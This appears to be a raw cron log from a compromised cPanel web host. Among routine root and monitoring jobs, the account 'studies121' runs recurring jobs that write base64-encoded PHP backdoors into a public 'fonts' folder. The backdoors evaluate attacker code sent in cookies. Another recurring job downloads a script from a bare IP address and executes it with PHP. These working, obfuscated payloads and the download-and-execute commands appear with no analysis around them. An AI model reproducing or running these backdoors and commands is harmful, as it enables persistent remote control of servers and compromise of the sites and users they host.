Sep  2 23:08:01 ip-184-168-122-23 CROND[26834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:08:01 ip-184-168-122-23 CROND[26832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:08:01 ip-184-168-122-23 CROND[26836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:09:01 ip-184-168-122-23 CROND[26916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:09:01 ip-184-168-122-23 CROND[26919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:09:01 ip-184-168-122-23 CROND[26917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:09:01 ip-184-168-122-23 CROND[26918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 23:09:01 ip-184-168-122-23 CROND[26921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:10:01 ip-184-168-122-23 CROND[27097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:10:01 ip-184-168-122-23 CROND[27098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27103]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:10:01 ip-184-168-122-23 CROND[27101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:11:01 ip-184-168-122-23 CROND[27223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:11:01 ip-184-168-122-23 CROND[27225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:11:01 ip-184-168-122-23 CROND[27227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:11:01 ip-184-168-122-23 CROND[27226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:12:01 ip-184-168-122-23 CROND[27306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:12:01 ip-184-168-122-23 CROND[27309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:12:01 ip-184-168-122-23 CROND[27310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:12:01 ip-184-168-122-23 CROND[27308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:12:01 ip-184-168-122-23 CROND[27312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:13:02 ip-184-168-122-23 CROND[27395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:13:02 ip-184-168-122-23 CROND[27397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:13:02 ip-184-168-122-23 CROND[27396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:13:02 ip-184-168-122-23 CROND[27398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:14:01 ip-184-168-122-23 CROND[27489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:14:01 ip-184-168-122-23 CROND[27490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:14:01 ip-184-168-122-23 CROND[27491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:14:01 ip-184-168-122-23 CROND[27493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:14:01 ip-184-168-122-23 CROND[27492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:15:01 ip-184-168-122-23 CROND[27578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:15:01 ip-184-168-122-23 CROND[27580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:15:01 ip-184-168-122-23 CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:15:01 ip-184-168-122-23 CROND[27585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:15:01 ip-184-168-122-23 CROND[27583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:15:01 ip-184-168-122-23 CROND[27584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:16:02 ip-184-168-122-23 CROND[27675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:16:02 ip-184-168-122-23 CROND[27674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:16:02 ip-184-168-122-23 CROND[27678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:16:02 ip-184-168-122-23 CROND[27679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:16:02 ip-184-168-122-23 CROND[27680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:16:02 ip-184-168-122-23 CROND[27681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:17:01 ip-184-168-122-23 CROND[27825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:17:01 ip-184-168-122-23 CROND[27826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:17:01 ip-184-168-122-23 CROND[27829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:17:01 ip-184-168-122-23 CROND[27830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:18:01 ip-184-168-122-23 CROND[27996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:18:01 ip-184-168-122-23 CROND[27997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:18:01 ip-184-168-122-23 CROND[27998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:18:01 ip-184-168-122-23 CROND[28001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:18:01 ip-184-168-122-23 CROND[28000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:19:01 ip-184-168-122-23 CROND[28082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:19:01 ip-184-168-122-23 CROND[28083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:19:01 ip-184-168-122-23 CROND[28086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:19:01 ip-184-168-122-23 CROND[28088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28232]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
